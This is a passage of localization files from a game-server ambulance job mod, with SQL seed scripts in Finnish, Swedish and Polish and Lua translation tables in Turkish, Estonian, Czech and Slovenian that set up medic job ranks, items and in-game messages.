32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0'
33 | ;
34 |
--------------------------------------------------------------------------------
/localization/fi_esx_ambulancejob.sql:
--------------------------------------------------------------------------------
1 |
2 |
3 | INSERT INTO `addon_account` (name, label, shared) VALUES
4 | ('society_ambulance', 'Ensihoito', 1)
5 | ;
6 |
7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES
8 | ('society_ambulance', 'Ensihoito', 1)
9 | ;
10 |
11 | INSERT INTO `datastore` (name, label, shared) VALUES
12 | ('society_ambulance', 'Ensihoito', 1)
13 | ;
14 |
15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES
16 | ('ambulance',0,'ambulance','Ensihoitaja',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
17 | ('ambulance',1,'doctor','Lääkäri',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
18 | ('ambulance',2,'chief_doctor','Yli-lääkäri',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
19 | ('ambulance',3,'boss','Kirurgi',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}')
20 | ;
21 |
22 | INSERT INTO `jobs` (name, label) VALUES
23 | ('ambulance','Ensihoito')
24 | ;
25 |
26 | INSERT INTO `items` (name, label, weight) VALUES
27 | ('bandage','Sideharso', 2),
28 | ('medikit','Ensiapupakkaus', 2)
29 | ;
30 |
31 | ALTER TABLE `users`
32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0'
33 | ;
34 |
--------------------------------------------------------------------------------
/localization/sv_esx_ambulancejob.sql:
--------------------------------------------------------------------------------
1 |
2 |
3 | INSERT INTO `addon_account` (name, label, shared) VALUES
4 | ('society_ambulance', 'Sjukvård', 1)
5 | ;
6 |
7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES
8 | ('society_ambulance', 'Sjukvård', 1)
9 | ;
10 |
11 | INSERT INTO `datastore` (name, label, shared) VALUES
12 | ('society_ambulance', 'Sjukvård', 1)
13 | ;
14 |
15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES
16 | ('ambulance',0,'ambulance','Undersköterska',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
17 | ('ambulance',1,'doctor','Ambulanssjuksköterska',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
18 | ('ambulance',2,'chief_doctor','Läkare',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
19 | ('ambulance',3,'boss','Överläkare',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}')
20 | ;
21 |
22 | INSERT INTO `jobs` (name, label) VALUES
23 | ('ambulance','Sjukvårdare')
24 | ;
25 |
26 | INSERT INTO `items` (name, label, weight) VALUES
27 | ('bandage','Bandage', 2),
28 | ('medikit','Akutväska', 2)
29 | ;
30 |
31 | ALTER TABLE `users`
32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0'
33 | ;
34 |
--------------------------------------------------------------------------------
/localization/pl_esx_ambulancejob.sql:
--------------------------------------------------------------------------------
1 |
2 |
3 | INSERT INTO `addon_account` (name, label, shared) VALUES
4 | ('society_ambulance', 'Ambulance', 1)
5 | ;
6 |
7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES
8 | ('society_ambulance', 'Ambulance', 1)
9 | ;
10 |
11 | INSERT INTO `datastore` (name, label, shared) VALUES
12 | ('society_ambulance', 'Pogotowie ratunkowe', 1)
13 | ;
14 |
15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES
16 | ('ambulance',0,'ambulance','Ratownik',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
17 | ('ambulance',1,'doctor','Lekarz',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
18 | ('ambulance',2,'chief_doctor','Chirurg',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
19 | ('ambulance',3,'boss','Ordynator',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}')
20 | ;
21 |
22 | INSERT INTO `jobs` (name, label) VALUES
23 | ('ambulance','Pogotowie ratunkowe')
24 | ;
25 |
26 | INSERT INTO `items` (name, label, weight) VALUES
27 | ('bandage','Bandaż', 2),
28 | ('medikit','Defibrylator', 2)
29 | ;
30 |
31 | ALTER TABLE `users`
32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0'
33 | ;
34 |
--------------------------------------------------------------------------------
/locales/tr.lua:
--------------------------------------------------------------------------------
1 | Locales['tr'] = {
2 | -- Cloakroom
3 | ['cloakroom'] = 'soyunma Odası',
4 | ['ems_clothes_civil'] = 'sivil Kıyafetler',
5 | ['ems_clothes_ems'] = 'acil Servis Kıyafetleri',
6 | -- Vehicles
7 | ['ambulance'] = 'medikal',
8 | ['helicopter_prompt'] = 'Helikopter için [E] tuşuna basın.',
9 | ['garage_prompt'] = 'Araba Garajı için [E] tuşuna basın',
10 | ['garage_title'] = 'araba Garajı',
11 | ['garage_stored'] = 'garaja koyuldu',
12 | ['garage_notstored'] = 'garajda değil',
13 | ['garage_storing'] = 'arabayı çıkarmaya çalışıyoruz, etrafta oyuncu olmadığından emin olun.',
14 | ['garage_has_stored'] = 'araba garaja koyuldu',
15 | ['garage_has_notstored'] = 'yakında sahibi olunan araba yok',
16 | ['garage_notavailable'] = 'araba garajda değil',
17 | ['garage_blocked'] = 'kullanılabilir spawn noktası yok!',
18 | ['garage_empty'] = 'garajda araba yok',
19 | ['garage_released'] = 'arabanız garajdan çıkarıldı.',
20 | ['garage_store_nearby'] = 'yakınlarda araba yok',
21 | ['garage_storeditem'] = 'garajdaki arabalar',
22 | ['garage_storeitem'] = 'arabayı garaja koy',
23 | ['garage_buyitem'] = 'araba galerisi',
24 | ['shop_item'] = '%s TL',
25 | ['vehicleshop_title'] = 'araba Galerisi',
26 | ['vehicleshop_confirm'] = 'bu arabayı almak istiyor musun?',
27 | ['vehicleshop_bought'] = '%s liraya %s alındı',
28 | ['vehicleshop_money'] = 'bu araca paranız yetmiyor',
29 | ['vehicleshop_awaiting_model'] = 'bu araba şuanda İNDİRME & YÜKLEME yapıyor',
30 | ['confirm_no'] = 'hayır',
31 | ['confirm_yes'] = 'evet',
32 | -- Action Menu
33 | ['revive_inprogress'] = 'Canlanma sürüyor!',
34 | ['revive_complete'] = '%s canlandırıldı',
35 | ['revive_complete_award'] = '%s canlandırıldın ve $%s kazandın!',
36 | ['revive_fail_offline'] = 'bu oyuncu artık online değil',
37 | ['heal_inprogress'] = 'iyileştiriliyorsun!',
38 | ['heal_complete'] = '%s iyileştirildi',
39 | ['no_players'] = 'yakınlarda oyuncu yok',
40 | ['player_not_unconscious'] = 'bu oyuncunun bilinci yerinde!',
41 | ['player_not_conscious'] = 'bu oyuncunun bilinci yerinde değil!',
42 | -- Boss Menu
43 | ['boss_actions'] = 'baş Hekim',
44 | -- Misc
45 | ['invalid_amount'] = ' miktar',
46 | ['actions_prompt'] = 'Kıyafet Değiştirmek için [E] tuşuna basın.',
47 | ['deposit_amount'] = 'bırakılacak miktar',
48 | ['money_withdraw'] = 'alınacak miktar',
49 | ['fast_travel'] = '[E] tuşuna basarak hızlı yolculuk edebilirsiniz.',
50 | ['open_pharmacy'] = 'Eczane için [E] tuşuna basın.',
51 | ['pharmacy_menu_title'] = 'eczane',
52 | ['pharmacy_take'] = 'al %s',
53 | ['medikit'] = 'sağlık kiti',
54 | ['bandage'] = 'bandaj',
55 | ['max_item'] = 'zaten yeterince üzerinde var',
56 | -- F6 Menu
57 | ['ems_menu'] = 'EMS Menu',
58 | ['ems_menu_title'] = 'medikal - EMS Menu',
59 | ['ems_menu_revive'] = 'oyuncuyu Canlandır',
60 | ['ems_menu_putincar'] = 'araca koy',
61 | ['ems_menu_small'] = 'küçük yaraları tedavi et',
62 | ['ems_menu_big'] = 'ciddi yaraları tedavi et',
63 | -- Phone
64 | ['alert_ambulance'] = 'hastane Acil Durum',
65 | -- Death
66 | ['respawn_available_in'] = 'yeniden canlanmana %s dakika %s saniye kaldı',
67 | ['respawn_bleedout_in'] = 'kanama %s dakika %s saniye boyunca devam edecek\n',
68 | ['respawn_bleedout_prompt'] = 'yeniden canlanma için [E] basılı tut',
69 | ['respawn_bleedout_fine'] = '%s lira karşılığında canlanma için [E] basılı tut',
70 | ['respawn_bleedout_fine_msg'] = 'yeniden doğmak için %s ödediniz.',
71 | ['distress_send'] = 'acile sinyal göndermek için [G] basın',
72 | ['distress_sent'] = 'acil durum sinyali gönderildi!',
73 | ['revive_help'] = 'oyuncuyu canlandır',
74 | -- Item
75 | ['used_medikit'] = '1x sağlık kiti kullanıldı.',
76 | ['used_bandage'] = '1x bandaj kullanıldı.',
77 | ['not_enough_medikit'] = ' sağlık kiti yok.',
78 | ['not_enough_bandage'] = ' bandaj. yok',
79 | ['healed'] = 'tedavi görüldü.',
80 | -- Blips
81 | ['blip_hospital'] = 'hastane',
82 | ['blip_dead'] = 'bilinci kapalı oyuncu',
83 | }
84 |
--------------------------------------------------------------------------------
/locales/et.lua:
--------------------------------------------------------------------------------
1 | Locales['et'] = {
2 | -- Cloakroom
3 | ['cloakroom'] = 'Riidekapp',
4 | ['ems_clothes_civil'] = 'Tsiviili riided',
5 | ['ems_clothes_ems'] = 'Kiirabi riided',
6 | -- Vehicles
7 | ['ambulance'] = 'Kiirabi',
8 | ['helicopter_prompt'] = 'Vajuta [E], et avada helikopteri garaaž.',
9 | ['garage_prompt'] = 'Vajuta [E], et vaadata sõiduki tegevusi.',
10 | ['garage_title'] = 'Sõiduki tegevus',
11 | ['garage_stored'] = 'Pargitud',
12 | ['garage_notstored'] = 'Pole garaažis',
13 | ['garage_storing'] = 'Proovime eemaldada sõidukit, veenduge, et kedagi poleks ligiduses.',
14 | ['garage_has_stored'] = 'Sõiduk on pargitud teie garaaži',
15 | ['garage_has_notstored'] = 'Teie ligiduses pole ühtegi teie sõidukit',
16 | ['garage_notavailable'] = 'Teie sõiduk pole garaažis.',
17 | ['garage_blocked'] = 'Sõiduki jaoks pole siin ruumi!',
18 | ['garage_empty'] = 'Sul pole ühtegi sõidukit garaažis.',
19 | ['garage_released'] = 'Teie sõiduk on juba garaažist välja võetud.',
20 | ['garage_store_nearby'] = 'Ühtegi sõidukit pole ligiduses.',
21 | ['garage_storeditem'] = 'Ava garaaž',
22 | ['garage_storeitem'] = 'Pargi sõiduk garaaži',
23 | ['garage_buyitem'] = 'Auto pood',
24 | ['shop_item'] = '$%s',
25 | ['vehicleshop_title'] = 'Auto pood',
26 | ['vehicleshop_confirm'] = 'Soovid osta seda sõidukit?',
27 | ['vehicleshop_bought'] = 'Sa ostsid %s $%s eest',
28 | ['vehicleshop_money'] = 'Sa ei saa lubada seda sõidukit endale',
29 | ['vehicleshop_awaiting_model'] = 'Sõidukit hetkel laetakse',
30 | ['confirm_no'] = 'Ei',
31 | ['confirm_yes'] = 'Jah',
32 | -- Action Menu
33 | ['revive_inprogress'] = 'Elustamine pooleli!',
34 | ['revive_complete'] = 'Sa elustasid %s',
35 | ['revive_complete_award'] = 'Sa elustasid %s ja teenisid $%s!',
36 | ['revive_fail_offline'] = 'Isik pole enam linnas',
37 | ['heal_inprogress'] = 'Sa paraned!',
38 | ['heal_complete'] = 'Sa ravisid %s',
39 | ['no_players'] = 'Isikuid pole läheduses',
40 | ['player_not_unconscious'] = 'See isik pole teadvuseta!',
41 | ['player_not_conscious'] = 'See isik pole teadvusel!',
42 | -- Boss Menu
43 | ['boss_actions'] = 'Boss menüü',
44 | -- Misc
45 | ['invalid_amount'] = 'Vale kogus',
46 | ['actions_prompt'] = 'Vajuta [E], et avada kiirabi tegevused.',
47 | ['deposit_amount'] = 'Pane firmaarvele raha',
48 | ['money_withdraw'] = 'Võta firmaarvelt raha',
49 | ['fast_travel'] = 'press [E] to fast travel.',
50 | ['open_pharmacy'] = 'Vajuta [E], et avada apteek.',
51 | ['pharmacy_menu_title'] = 'Apteek',
52 | ['pharmacy_take'] = 'Võta %s',
53 | ['medikit'] = 'Esmaabikarp',
54 | ['bandage'] = 'Sidemed',
55 | ['max_item'] = 'Sa kannad piisavalt juba.',
56 | -- F6 Menu
57 | ['ems_menu'] = 'Kiirabi',
58 | ['ems_menu_title'] = 'Kiirabi',
59 | ['ems_menu_revive'] = 'Elusta isikut',
60 | ['ems_menu_putincar'] = 'Pane sõidukisse',
61 | ['ems_menu_small'] = 'Ravi väikseid haavi',
62 | ['ems_menu_big'] = 'Ravi tõsiseid haavu',
63 | ['ems_menu_search'] = 'Patsienti ei leitud',
64 | -- Phone
65 | ['alert_ambulance'] = 'Kiirabi teadaanded',
66 | -- Death
67 | ['respawn_available_in'] = 'Sul on võimalik haiglas ärgata %s minuti ka %s sekundi pärast',
68 | ['respawn_bleedout_in'] = 'Sa jooksed verest tühjak %s minuti ja %s sekundi pärast\n',
69 | ['respawn_bleedout_prompt'] = 'Hoia [E] tähte all, et ärgata haiglas',
70 | ['respawn_bleedout_fine'] = 'Hoia [E] tähte all, et ärgata haiglas $%s eest',
71 | ['respawn_bleedout_fine_msg'] = 'Sa maksid $%s, et ärgata haiglas.',
72 | ['distress_send'] = 'Vajuta [G] et saata abikutse kiirabile',
73 | ['distress_sent'] = 'Abikutse on saadetud kõikidele kiirabidele kes on linnas!',
74 | -- Revive
75 | ['revive_help'] = 'Elusta isikut',
76 | -- Item
77 | ['used_medikit'] = 'Sa kasutasid ära 1x esmaabikarbi',
78 | ['used_bandage'] = 'Sa kasutasid ära 1x sideme',
79 | ['not_enough_medikit'] = 'Sul pole esmaabikarpe.',
80 | ['not_enough_bandage'] = 'Sul pole sidemeid.',
81 | ['healed'] = 'Teid on ravitud.',
82 | -- Blips
83 | ['blip_hospital'] = 'Haigla',
84 | ['blip_dead'] = 'Vigastatud isik',
85 | }
86 |
--------------------------------------------------------------------------------
/locales/cs.lua:
--------------------------------------------------------------------------------
1 | Locales['cs'] = {
2 | -- Cloakroom
3 | ['cloakroom'] = 'šatna',
4 | ['ems_clothes_civil'] = 'civilní oblečení',
5 | ['ems_clothes_ems'] = 'zdravotnické oblečení',
6 | -- Vehicles
7 | ['ambulance'] = 'ambulance',
8 | ['helicopter_prompt'] = 'press [E] to access the Helicopter Actions.',
9 | ['garage_prompt'] = 'press [E] to access the Vehicle Actions.',
10 | ['garage_title'] = 'vehicle Actions',
11 | ['garage_stored'] = 'stored',
12 | ['garage_notstored'] = 'not in garage',
13 | ['garage_storing'] = 'we\'re attempting to remove the vehicle, make sure no players are around it.',
14 | ['garage_has_stored'] = 'the vehicle has been stored in your garage',
15 | ['garage_has_notstored'] = 'no nearby owned vehicles were found',
16 | ['garage_notavailable'] = 'your vehicle is not stored in the garage.',
17 | ['garage_blocked'] = 'there\'s no available spawn points!',
18 | ['garage_empty'] = 'you don\'t have any vehicles in your garage.',
19 | ['garage_released'] = 'your vehicle has been released from the garage.',
20 | ['garage_store_nearby'] = 'there is no nearby vehicles.',
21 | ['garage_storeditem'] = 'open garage',
22 | ['garage_storeitem'] = 'store vehicle in garage',
23 | ['garage_buyitem'] = 'vehicle shop',
24 | ['shop_item'] = '$%s',
25 | ['vehicleshop_title'] = 'vehicle Shop',
26 | ['vehicleshop_confirm'] = 'do you want to buy this vehicle?',
27 | ['vehicleshop_bought'] = 'you have bought %s for $%s',
28 | ['vehicleshop_money'] = 'you cannot afford that vehicle',
29 | ['vehicleshop_awaiting_model'] = 'the vehicle is currently DOWNLOADING & LOADING please wait',
30 | ['confirm_no'] = 'no',
31 | ['confirm_yes'] = 'yes',
32 | -- Action Menu
33 | ['revive_inprogress'] = 'probíhá oživení!',
34 | ['revive_complete'] = 'oživili jste %s',
35 | ['revive_complete_award'] = 'oživili jste %s a dostali jste $%s!',
36 | ['revive_fail_offline'] = 'that player is no longer online',
37 | ['heal_inprogress'] = 'uzdravujete!',
38 | ['heal_complete'] = 'uzdravili jste %s',
39 | ['no_players'] = 'v okolí není žádný hráč!',
40 | ['player_not_unconscious'] = 'hráč není v bezvědomí!',
41 | ['player_not_conscious'] = 'hráč je v bezvědomí!',
42 | -- Boss Menu
43 | ['boss_actions'] = 'akce šéfa',
44 | -- Misc
45 | ['invalid_amount'] = ' ná částka',
46 | ['actions_prompt'] = 'press [E] access the Ambulance Actions.',
47 | ['deposit_amount'] = 'částka vkladu',
48 | ['money_withdraw'] = 'částka výběru',
49 | ['fast_travel'] = 'stiskněte [E] k rychlému odcestování.',
50 | ['open_pharmacy'] = 'stiskněte [E] k otevření lékárny.',
51 | ['pharmacy_menu_title'] = 'lékárna',
52 | ['pharmacy_take'] = 'vzít %s',
53 | ['medikit'] = 'lékarnička',
54 | ['bandage'] = 'obvaz',
55 | ['max_item'] = 'již nesete dostatek věcí.',
56 | -- F6 Menu
57 | ['ems_menu'] = 'Zdravotnické menu',
58 | ['ems_menu_title'] = 'záchranka - Zdravotnické menu',
59 | ['ems_menu_revive'] = 'oživit hráče',
60 | ['ems_menu_putincar'] = 'naložit do vozidla',
61 | ['ems_menu_small'] = 'ošetřit malé zranění',
62 | ['ems_menu_big'] = 'ošetřit vážné zranění',
63 | ['ems_menu_search'] = 'pacient nebyl nalezen',
64 | -- Phone
65 | ['alert_ambulance'] = 'zdravotnický poplach',
66 | -- Death
67 | ['respawn_available_in'] = 'oživení dostupné za %s minut a %s sekund\n',
68 | ['respawn_bleedout_in'] = 'vykrvácíte za %s minut a %s sekund\n',
69 | ['respawn_bleedout_prompt'] = 'držte [E] pro respawn.',
70 | ['respawn_now_fine'] = 'držte [E] pro oživení za $%s',
71 | ['respawn_bleedout_fine_msg'] = 'zaplatili jste $%s za respawn.',
72 | ['distress_send'] = 'stiskněte [G] pro vyslání tísňového signálu',
73 | ['distress_sent'] = 'tísňový signál byl vyslán dostupným jednotkám!',
74 | -- Revive
75 | ['revive_help'] = 'oživit hráče',
76 | -- Item
77 | ['used_medikit'] = 'použili jste 1x lékarničku',
78 | ['used_bandage'] = 'použili jste 1x obvaz',
79 | ['not_enough_medikit'] = 'nemáte medikit.',
80 | ['not_enough_bandage'] = 'nemáte bandage.',
81 | ['healed'] = 'byli jste ošetřeni.',
82 | -- Blips
83 | ['blip_hospital'] = 'nemocnice',
84 | ['blip_dead'] = 'unconscious player',
85 | }
86 |
--------------------------------------------------------------------------------
/locales/si.lua:
--------------------------------------------------------------------------------
1 | Locales['si'] = {
2 | -- Cloakroom
3 | ['cloakroom'] = 'Garderoba',
4 | ['ems_clothes_civil'] = 'Civilna oblačila',
5 | ['ems_clothes_ems'] = 'oblačila EMS',
6 | -- vozila
7 | ['ambulance'] = 'Ambulanca',
8 | ['helicopter_prompt'] = 'Pritisnite [E] za dostop do akcij helikopterja.',
9 | ['garage_prompt'] = 'Pritisnite [E] za dostop do akcij vozila.',
10 | ['garage_title'] = 'Vehicle Actions',
11 | ['garage_stored'] = 'Shranjeno',
12 | ['garage_notstored'] = 'Ni v garaži',
13 | ['garage_storing'] = 'Poskušamo odstraniti vozilo, poskrbite, da v njegovi bližini ni igralcev.',
14 | ['garage_has_stored'] = 'Vozilo je bilo shranjeno v vaši garaži',
15 | ['garage_has_notstored'] = 'V bližini nismo našli nobenega vozila v lasti',
16 | ['garage_notavailable'] = 'Vaše vozilo ni shranjeno v garaži.',
17 | ['garage_blocked'] = 'Ni razpoložljivih točk za porod!',
18 | ['garage_empty'] = 'V garaži nimate nobenega vozila.',
19 | ['garage_released'] = 'Vaše vozilo je bilo izpuščeno iz garaže.',
20 | ['garage_store_nearby'] = 'V bližini ni vozil.',
21 | ['garage_storeditem'] = 'Odprta garaža',
22 | ['garage_storeitem'] = 'Vozilo shranite v garažo',
23 | ['garage_buyitem'] = 'Trgovina z vozili',
24 | ['shop_item'] = '$%s',
25 | ['vehicleshop_title'] = 'Yehicle Shop',
26 | ['vehicleshop_confirm'] = 'Yo you want to buy this vehicle?',
27 | ['vehicleshop_bought'] = "Kupili ste %s za $%s",
